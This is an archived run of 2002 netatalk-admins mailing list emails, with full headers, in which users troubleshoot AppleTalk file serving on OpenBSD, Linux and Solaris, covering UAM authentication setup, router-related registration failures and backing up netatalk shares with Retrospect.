Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id DAA28879
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 03:11:01 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA02296
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 03:11:01 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA02289
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 03:11:01 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA02268
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 03:10:59 -0500 (EST)
Received: from unice.fr (irisiag.unice.fr [134.59.51.51])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id JAA458340
          ; Fri, 15 Feb 2002 09:10:56 +0100 (MET)
Sender: dmattei@unice.fr
Message-ID: <3C6CC2A4.57CD6F76@unice.fr>
Date: Fri, 15 Feb 2002 09:11:16 +0100
From: Damien MATTEI <Damien.Mattei@unice.fr>
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX 6.5 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: Dan Ramaley <daniel.ramaley@DRAKE.EDU>
CC: netatalk <netatalk-admins@umich.edu>
Subject: Re: Netatalk was running before, now broken...
References: <01KE9VFX9320002RRW@DRAKE.EDU>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Dan Ramaley wrote:
> 
> I work as the tech guy in the library at a university. We have a file
> server running OpenBSD 3.0 with whatever version of netatalk comes with
> it; the package is labeled as netatalk-990130. Before Christmas break
> everything was working fine. After break the netatalk server is no
> longer working. It does not show up in the Chooser on the Macs, nor is
> it accessible by IP. I have spoken with the network administrator about
> this problem. He told me that the only things that changed over break
> that could possibly affect it was upgrading the router that services our
> building from a 3Com to a Cisco, and new net.node numbers were assigned.
> All the Macs on campus still work just fine. The only machine having any
> trouble is our netatalk server. I don't know what is wrong, but below i
> will include lots of information and hopefully someone will notice
> something that is amiss and can please offer some assitance. Thanks
> much.
> 
> Here are the commands that my netatalk start script executes:
> 
> # Change this to set the machine's atalk name:
> ATALK_NAME="Backup Server"
> # Change this to set the machine's atalk zone:
> ATALK_ZONE="Cowles Library"
> # Change this to increase the maximum number of clients that can connect:
> AFPD_MAX_CLIENTS=25
> # Comment out this line to enable guest logins:
> #AFPD_NOGUEST=-G
> # Change this to set the id of the guest user:
> AFPD_GUEST=nobody
> /usr/local/libexec/atalkd -f /etc/netatalk/atalkd.conf
> /usr/local/bin/nbprgstr -p 4 "${ATALK_NAME}:Server@${ATALK_ZONE}"
> /usr/local/bin/nbprgstr -p 4 "${ATALK_NAME}:netatalk@${ATALK_ZONE}"
> /usr/local/libexec/afpd -f /etc/netatalk/AppleVolumes.default \
>      ${AFPD_NOGUEST} -g ${AFPD_GUEST} -n \
>      "${ATALK_NAME}:AFPServer@${ATALK_ZONE}" -c ${AFPD_MAX_CLIENTS}
> 
> My /etc/netatalk/atalkd.conf is empty except for comment lines. The
> /etc/netatalk/AppleVolumes.default contains 2 non-comment lines that
> look like this:
> 
> /home/netatalk/boot_images "Boot Images" noadouble
> /home/netatalk/public "Public" noadouble
> 
> Now, the error messages. During boot this is what appears on the console:
> 
> starting appletalk daemons:pflog0: disabled.
> enc0: disabled.
> bridge0: disabled.
> bridge1: disabled.
> vlan0: disabled.
> vlan1: disabled.
>  atalkdnbp_rgstr: Undefined error: 0
> Can't register Backup Server:Server@Cowles Library
> nbp_rgstr: Undefined error: 0
> Can't register Backup Server:netatalk@Cowles Library
>  nbprgstr afpd.
> 
> If i check the /var/log/daemon log file, i get this:
> 
> Feb 14 17:36:01 backup atalkd[15550]: restart (990130-OpenBSD-1.1.2)
> Feb 14 17:36:03 backup atalkd[15550]: zip_getnetinfo for dc0
> Feb 14 17:36:04 backup atalkd[15550]: zip_getnetinfo for dc0
> Feb 14 17:36:04 backup atalkd[15550]: zip gnireply from 202.60 (dc0 12)
> Feb 14 17:36:06 backup atalkd[15550]: zip_packet configured dc0 from 202.60
> Feb 14 17:36:14 backup atalkd[15550]: rtmp_packet gateway 202.60 up
> Feb 14 17:36:51 backup atalkd[15550]: as_timer can't get zone for 101
> Feb 14 17:36:51 backup atalkd[15550]: as_timer can't get zone for 300
> Feb 14 17:36:51 backup atalkd[15550]: as_timer can't get zone for 400
> Feb 14 17:36:51 backup atalkd[15550]: as_timer can't get zone for 500
> Feb 14 17:36:51 backup atalkd[15550]: as_timer can't get zone for 600
> Feb 14 17:36:51 backup atalkd[15550]: as_timer can't get zone for 9010
> Feb 14 17:36:51 backup atalkd[15550]: ready -2/0/0
> Feb 14 17:37:09 backup afpd[14552]: Can't register Backup Server:AFPServer@Cowles Library
> Feb 14 17:51:15 backup atalkd[25690]: restart (990130-OpenBSD-1.1.2)
> Feb 14 17:51:15 backup atalkd[25690]: bind 0.0:6: Address already in use
> Feb 14 18:19:31 backup atalkd[15550]: as_timer can't get zone for 101
> Feb 14 18:19:31 backup atalkd[15550]: as_timer can't get zone for 300
> Feb 14 18:19:31 backup atalkd[15550]: as_timer can't get zone for 400
> Feb 14 18:19:31 backup atalkd[15550]: as_timer can't get zone for 500
> Feb 14 18:19:31 backup atalkd[15550]: as_timer can't get zone for 600
> Feb 14 18:19:31 backup atalkd[15550]: as_timer can't get zone for 9010
> 
> The as_timer messages repeat every 30-40 minutes for as long as the
> machine is up. Doing a "ps ax" to actually see what is running shows
> only one relevant entry:
> 
>   PID TT   STAT      TIME COMMAND
> 15550 ??  S       0:00.07 /usr/local/libexec/atalkd -f /etc/netatalk/atalkd.con
> 
> I tried running "ifconfig dc0" to see if it would reveal anything:
> 
> dc0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
>         media: Ethernet autoselect (100baseTX full-duplex)
>         status: active
>         inet6 fe80::2a0:ccff:fe57:b82d%dc0 prefixlen 64 scopeid 0x1
>         inet 10.2.1.48 netmask 0xffff0000 broadcast 10.2.255.255
>         AppleTalk 220.94 range 200-299 phase 2 broadcast 220.94
> 
> >From the last line it looks to me like netatalk picked up a network
> number of 220, which is within the range (200-299) that the network
> administrator said it should be within. I have tried manually setting
> the network number and node to values provided by the network
> administrator for testing in atalkd.conf, but it did not work. Any
> ideas?
> 
> ------------------------------------------------------------------------
> Dan Ramaley
> Digital Media Library Specialist
> (515) 271-1934
> Cowles Library 140, Drake University

you're problem is really interesting!
it's probably due to the new router, i had a printer (Lexmark Optra
C710) using a 
net.node number (>65000) out of the routing capacity of the router, and
she was invisible from others users , and i could't do anything but use
TCP/IP lpr with it.
But in your system it seems that the appletalk server is in a valid node
range.
-- 
Damien Mattei					Phone: +33 (0)4 93 37 76 66
C.N.R.S / U.N.S.A				Fax:   +33 (0)4 93 53 30 71
UMR 6549 Instabilite & Alterations des Genomes	E-mail: mattei@unice.fr
Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France

From netatalk.administrators-errors@umich.edu  Fri Feb 15 03:16:45 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id DAA29287
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 03:16:44 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA01285
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 03:16:44 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA01273
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 03:16:44 -0500 (EST)
Received: from mail.talknet.de (smtp02.talknet.de [195.252.142.72])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA01196
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 03:16:39 -0500 (EST)
Received: from [192.168.1.5] (a1as18-p223.mch.tli.de [195.252.169.223])
	by mail.talknet.de (8.11.0/8.11.0) with ESMTP id g1F8GXq17590
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 09:16:35 +0100 (MET)
X-Delivered-To: <<netatalk-admins@umich.edu>>
Mime-Version: 1.0
X-Sender: 602133b@195.64.96.45
Message-Id: <f05100300b89272e674ed@[192.168.1.5]>
Date: Fri, 15 Feb 2002 09:14:50 +0100
To: netatalk-admins@umich.edu
From: Wolf Drechsel <drechsel@verkehrsplanung.com>
Subject: netatalk bi-directional?
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA29287

Hello friends,

will there be a "bi-directional" netatalk some day? - The samba thing 
can (as far as I know) work as a server as well as a client. I'd love 
a Apple talk client for linux to do backups with little system load 
on the mac.

Is it so difficult to implement "the other direction", when You once 
have figured out how the apple talk protocol works? -

I've tried the afpd (or so) package - but its true, what the 
maintainer writes: "Be afraid. Be VERY afraid".

Greetings

WD
-- 
************************************************************
# Gesellschaft für fahrgastorientierte Verkehrsplanung b.R.
# Köhnstr. 54   D-90478 Nürnberg
#
# Telephon: 0911/4 71 98 49
# Telefax: 0911/47 39 36
#
# drechsel@verkehrsplanung.com
# www.verkehrsplanung.com
#************************************************************

From netatalk.administrators-errors@umich.edu  Fri Feb 15 04:30:37 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA02324
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 04:30:37 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA16855
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 04:30:37 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA16843
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 04:30:36 -0500 (EST)
Received: from protactinium.btinternet.com (protactinium.btinternet.com [194.73.73.176])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA16819
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 04:30:35 -0500 (EST)
Received: from host213-122-111-188.in-addr.btopenworld.com ([213.122.111.188] helo=nexus.local.net)
	by protactinium.btinternet.com with esmtp (Exim 3.22 #8)
	id 16behN-0003o8-01; Fri, 15 Feb 2002 09:30:34 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id IAA12463;
	Fri, 15 Feb 2002 08:34:53 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100338b8927829c16a@[10.0.1.10]>
In-Reply-To: <Pine.LNX.4.10.10202142202360.27907-100000@moe.ays.net>
References: <Pine.LNX.4.10.10202142202360.27907-100000@moe.ays.net>
X-Mailer: Eudora for Macintosh!
Date: Fri, 15 Feb 2002 08:34:51 +0000
To: Stew Benedict <stewb@centurytel.net>,
        Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: logging in
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 10:03 pm -0500 14/2/02, Stew Benedict wrote:
>>  This all seems a bit major. Netatalk's refusal to allow any login
>>  other that guest makes it useless for me at the moment. Please, who
>>  is actually compiling 1.5.1.1 and getting it to successfully work.
>>  Perhaps you could assist us in choosing the correct configure options
>>  or whatever the solution may be. My Mandrake rpm did at least work so
>>  it is possible.
>>
>
>Why don't you just look at the spec of the Mandrake RPM (my package) and
>use those compile options?


Because I didn't think of it.

Don't you just hate a smartass. <g>

I don't think I have the src rpm, if not I'll grab it.

Thanks for that.
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Fri Feb 15 05:40:11 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA04841
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 05:40:11 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA22196
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 05:40:11 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA22194
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 05:40:10 -0500 (EST)
Received: from carbon.btinternet.com (carbon.btinternet.com [194.73.73.92])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA22190
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 05:40:09 -0500 (EST)
Received: from host213-1-176-175.btinternet.com ([213.1.176.175] helo=nexus.local.net)
	by carbon.btinternet.com with esmtp (Exim 3.22 #8)
	id 16bfmh-0000p7-01; Fri, 15 Feb 2002 10:40:08 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id JAA12732;
	Fri, 15 Feb 2002 09:42:10 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p0510033ab8927dc312a2@[10.0.1.10]>
In-Reply-To: <B8915439.B2DC%sflist@ihonk.com>
References: <B8915439.B2DC%sflist@ihonk.com>
X-Mailer: Eudora for Macintosh!
Date: Fri, 15 Feb 2002 09:42:09 +0000
To: Steve Freitas <sflist@ihonk.com>,
        Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: logging in (slight return)
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 11:47 am -0800 14/2/02, Steve Freitas wrote:
>
>Why don't you rip out the previous Netatalk installation and reinstall, and
>this time do this:
>
>[yadda@blah]$ ./configure --enable-redhat \
>               --prefix=/usr/local/netatalk-1.5.1.1


Someone else is recommending I SHOULD use --with-shadow.


>Then make, make install, and see what happens. The way to tell whether afpd
>has loaded the proper UAM is to do this command:
>
>[yadda@blah]$ lsof | grep afpd


Er, what's lsof?


>And see if the UAM you want shows up in the list.


I'd like to set in my mind how the uams work.

Setting the uamlist in netatalk.conf adds them to the command line 
when starting afpd. Am I correct to assume the effect is the same as 
specifying them in afpd.conf? It's a shame this isn't mentioned in 
the docs anywhere.

I found that if the guest uam was NOT listed in netatalk.conf guest 
access was disallowed. (I believe this change is mentioned in the 
1.5.1.1 docs)

What uams are required to logon to the netatalk server and get 
authenticated from the unix shell login:-

for that user?
for a guest?

How do you choose which authentication scheme to use anyway?

Shouldn't I specify --with-pam to ensure pam is used?

BTW, I used --with-pam=/etc/pam.d so if configure had assumed this to 
be a prefix to its default of /etc/pam.d maybe that's why it ended up 
in /etc/pam.d/etc/pam.d?

How come the uams directory that resulted from my compile included .a 
and .la files for each uam (that it bothered to make) as well as the 
.so, whereas the mandrake rpm only has (all) the .so files?

What is a utility like Timelord doing bundled with netatalk?

I have a lot of loose ends that I'd like to tie up:-)
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Fri Feb 15 05:50:14 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA05306
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 05:50:14 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA11408
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 05:50:14 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA11399
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 05:50:14 -0500 (EST)
Received: from colony.com (colonyuk.demon.co.uk [158.152.173.186])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA11331
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 05:50:09 -0500 (EST)
Received: from [172.20.192.150] (172.20.192.150) by colony.com with ESMTP
 (Eudora Internet Mail Server 2.2); Fri, 15 Feb 2002 10:41:08 +0100
X-Sender: shobson-lists@mail.colony.com
Message-Id: <v03102802b8928d61bf25@[172.20.192.150]>
In-Reply-To: <200202150755.XAA09463@bugs.wakawaka.com>
References: 
 <Pine.LNX.4.10.10202141047210.23388-100000@st-hubbins.hbconcoctions.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 15 Feb 2002 10:30:51 +0000
To: paul@wakawaka.com (Paul Sander), sth@hbconcoctions.com,
        netatalk-admins@umich.edu
From: Simon Hobson <shobson-lists@colony.com>
Subject: Re: Backing up a Netatalk share.

Paul Sander wrote:

>Rather than log in as "root" on the Netatalk machine, why not log in as
>an ordinary user, and grant super-user access to specific tasks for which
>it's absolutely necessary?  There are a number tools that provide this
>capability, "sudo" being one of the more popular.  I use "op" with much
>success.

sth@hbconcoctions.com wrote :

>2) Scripted, tightly-restricted SSH control of the process
>
>I won't detail this here, since it's a fairly (*ahem*) information-rich
>topic (read: difficult to explain with any brevity), but you could script
>an SSH client on the Retrospect machine (running MacOS? AppleScript should
>be able to handle this) to use "single-purpose keys" -- keys that can only
>do one thing once logged in -- to login as 'root' to the Netatalk machine
>and coordinate the process.

The problem with both of these ideas is that Retrospect does NOT 'log in'
to the server using anything other than AFP. I don't think it even supports
'non-standard' UAMs (I certainly found that it won't use the Microsoft UAM
to access an NT server).

Ie it :

* Makes an AFP connection to the server (over IP or AppleTalk as appropriate).

* Copies whatever files are required to be copied according to the rules of
the script it is executing, and the access priviledges it has.

* Closes the connection.

As far as I know, there is NO method whereby you can insert some extra
layer in between.


sth@hbconcoctions.com wrote :

>a) Netatalk machine runs a cron in the middle of the night that tars up
>your target directories, places them in ~retrospect/, chowns them to
>retrospect:retrospect, and chmods them to 0600, such that you wind up with
>something like this:
>
>/home/retrospect:
>-rw-------    1 retrospe      retrospe   34110867 Feb 13 03:15 backups.tar
>
>b) soon after, once you're sure the backup will be done on the Netatalk
>machine, Retrospect machine runs its timed job, logs into Netatalk machine
>as 'retrospect', snags that file, and deletes it.

Whilst this would work, it would completely defeat the object of using
Retrospect in the first place - which is to back up the Mac files AS MAC
FILES. Not only that, instead of having to restore both the file(s) and
it's .AppleDouble partner(s) (as would be the case using tar or cpio on the
Unix/Linux side, you have to restore the backup file for the whole server
before using tar or cpio to extract the required files. It also means that
Retrospect can't do incremental backups.


I think the best option would be to persuade Dantz to make a client for
Linux that understands the file structure of a netatalk share. But you
still have the dilemma of whether to run it as root.

The only other method I can think of is to use AppleScript to mount the
volume when the script is ready to run (Retrospect has the ability to call
an AppleScript handler at certain points). This would allow you some more
flexibility in how you make the connection - but you still have to mount
the netatalk share using AFP.

Simon

-
Simon Hobson, Technical Services Engineer
Colony Gift Corporation Limited
Lindal in Furness, Ulverston, Cumbria, LA12 0LD
Tel 01229 461100, Fax 01229 461101

Registered in England No. 1499611
Regd. Office : 100 New Bridge Street, London, EC4V 6JA.



From netatalk.administrators-errors@umich.edu  Fri Feb 15 06:17:59 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA06665
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 06:17:59 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA03614
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 06:17:59 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA03612
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 06:17:59 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA03604
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 06:17:58 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1FBHoi26263;
	Fri, 15 Feb 2002 03:17:50 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 15 Feb 2002 03:17:47 -0800
Subject: Re: logging in (slight return)
From: Steve Freitas <sflist@ihonk.com>
To: Ken Gillett <keng@btinternet.com>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B8922E5A.B31A%sflist@ihonk.com>
In-Reply-To: <p0510033ab8927dc312a2@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> Someone else is recommending I SHOULD use --with-shadow.

That is a redundant option in this case. During ./configure, Netatalk
automatically looks for a PAM installation. PAM handles authenticating
against shadow.

Trust me on this -- I tested extensively with the developers when they were
rewriting the configure script, and you actually need to specify very little
in your case.

> Er, what's lsof?

I'll teach you to fish:

[yadda@blah]$ man lsof

> Setting the uamlist in netatalk.conf adds them to the command line
> when starting afpd. Am I correct to assume the effect is the same as
> specifying them in afpd.conf? It's a shame this isn't mentioned in
> the docs anywhere.

Netatalk is definitely in need of docs help. If you want to volunteer, many
would appreciate your efforts.

> What uams are required to logon to the netatalk server and get
> authenticated from the unix shell login:-
> 
> for that user?

First, you need DHX in order to authenticate against /etc/shadow. Assuming
that, keep reading.

So you'll notice, if you look in the UAMs directory, that there are two
kinds of DHX UAMs. One authenticates against PAM, the other (I believe)
against "passwd" files, which are files that are stored in each user's home
directory and contains their password in plaintext. The latter method ain't
recommended in most cases.

uams_dhx_pam.so is what is necessary to authenticate through PAM against
your /etc/shadow file, which is used by the Unix shell login.

Going through PAM is, in most cases, the most correct way to do things,
because if you decide to change how your system authenticates users (say you
switch to Kerberos or NIS), you only need to tweak PAM, and you won't need
to touch Netatalk.

> for a guest?

uams_guest.so

> How do you choose which authentication scheme to use anyway?

If I understand correctly, you set what UAMs are available for Netatalk's
use in netatalk.conf. Then you can edit which ones are actually used in
afpd.conf.

Netatalk defaults to PAM+DHX, unless told otherwise, which will authenticate
recent AppleShare clients in encrypted form against /etc/shadow in your
case.

> Shouldn't I specify --with-pam to ensure pam is used?

No need, as Netatalk's configure script looks for it automatically. Pay
attention when compiling from source. You should watch the status lines that
are printed after you run ./configure. You'll see that (with the switches I
recommended) it finds your PAM install, and doesn't do shadow configuration.
And the result is that it authenticates against your Unix passwords, which
are in /etc/shadow. Magic!

> BTW, I used --with-pam=/etc/pam.d so if configure had assumed this to
> be a prefix to its default of /etc/pam.d maybe that's why it ended up
> in /etc/pam.d/etc/pam.d?

You're probably right.

> How come the uams directory that resulted from my compile included .a
> and .la files for each uam (that it bothered to make) as well as the
> .so, whereas the mandrake rpm only has (all) the .so files?

I don't know. The make install probably isn't quite as clean as it could be,
while the Mandrake packager did a little cleanup work. They do no harm in
being there, though.

> What is a utility like Timelord doing bundled with netatalk?

Apparently somebody thought it was a good idea.

Seriously though, Netatalk has always been more than just a fileserver. With
Timelord and papd (the print server), Netatalk's a full Mac server.

> I have a lot of loose ends that I'd like to tie up:-)

I'll say.

I don't mean to criticize, but I think you went overboard in trying to
configure Netatalk before you even got it working. A simple ./configure,
make, make install would've gotten you on your way, but you decided to go
hog wild with the configure options, and that confused things for you.

The rule is, when you're installing from source, first get it working in the
simplest manner possible, and *then* tweak it to death.

Steve


From netatalk.administrators-errors@umich.edu  Fri Feb 15 08:53:07 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA13253
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 08:53:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA00030
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 08:53:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA00025
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 08:53:07 -0500 (EST)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA00011
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 08:53:06 -0500 (EST)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Fri, 15 Feb 2002 08:53:05 -0500
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f05100313b892c26d846b@[192.168.42.39]>
In-Reply-To: <B89099FA.1BD8F%Thomas.Kaiser@phg-online.de>
References: <B89099FA.1BD8F%Thomas.Kaiser@phg-online.de>
Date: Fri, 15 Feb 2002 08:53:56 -0500
To: <netatalk-admins@umich.edu>
From: Charles Mangin <charles@burneydesign.com>
Subject: DB3
Content-Type: text/plain; charset="us-ascii"

so, i'm apparently taking somewhat of a risk in running netatalk 1.5.0 with DID scheme=cnid, and thus the errors i'm getting are probably my own damned fault.

woohoo.

anyway, is there a preferred version of the berkley db3 software i should be running for the cnid scheme? my system already has 3.1.17 on it (redhat 7.1ish) though i see that there are RPMs for 3.2.9-4 and a tarball for 4.0.14

testing the RPM, i see that it breaks a lot of dependencies (and thus, i could spend another day doing the RPM dependency dance..) and i'm wary of installing the tarball for similar reasons - a lot of stuff apparently depends on the version of the db3 libs i have installed currently

From netatalk.administrators-errors@umich.edu  Fri Feb 15 09:30:51 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA15522
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 09:30:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA03274
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 09:30:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA03263
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 09:30:50 -0500 (EST)
Received: from welt.gekko.de (welt.gekko.de [195.37.190.38])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA03228
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 09:30:49 -0500 (EST)
Received: from consul.gekko.de (C325BE1F.pool.gekko.de [195.37.190.31])
	by welt.gekko.de (8.9.3+Sun/8.9.3) with ESMTP id PAA06056
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 15:34:30 +0100 (MET)
Message-Id: <5.1.0.14.2.20020215153229.00b6f620@welt.gekko.de>
X-Sender: pop.andreas@welt.gekko.de
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Fri, 15 Feb 2002 15:32:32 +0100
To: netatalk-admins@umich.edu
From: Andreas =?iso-8859-1?Q?Westend=F6rpf?= <andreas@gekko.de>
Subject: atalkd under solaris 8
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

hello folks!
i'm currently having some difficulties configuring an appletalk fileserver 
under solaris8. i tried to get netatalk v1.5.1.1 working. what a pain in 
the a**. finally it compiled without errors, but then, when i start atalkd 
it says:
"atalkd: zero interfaces, exiting."

yes, i did create a file in /usr/local/atalkd/etc/ called atalkd.conf with 
the name of my ethernet-device in it (hme0).
but still it doesn't work. same effect when i remove the atalkd.conf file.

yes, i read it and configured it the right way. means:
- added "ddp tpi_clts - appletalk ddp /dev/ddp -" to /etc/netconfig
- tried "make -f Makefile.kernel kinstall" but it didn't work in the root 
of the source directory. i went in sys/solaris and there it worked out.
- in /usr/local/atalk/atalk/etc/atalkd.conf i added hme0 (my ethernet device)

but atalkd still starts up saying "zero interfaces, exiting.".
no change, even if i remove atalkd.conf

anybody got a clue?

are there any other appletalk-servers for servering basic apple macintosh 
file and print services?

tia

andreas

please help. it's urgent
tia
andreas



From netatalk.administrators-errors@umich.edu  Fri Feb 15 09:34:45 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
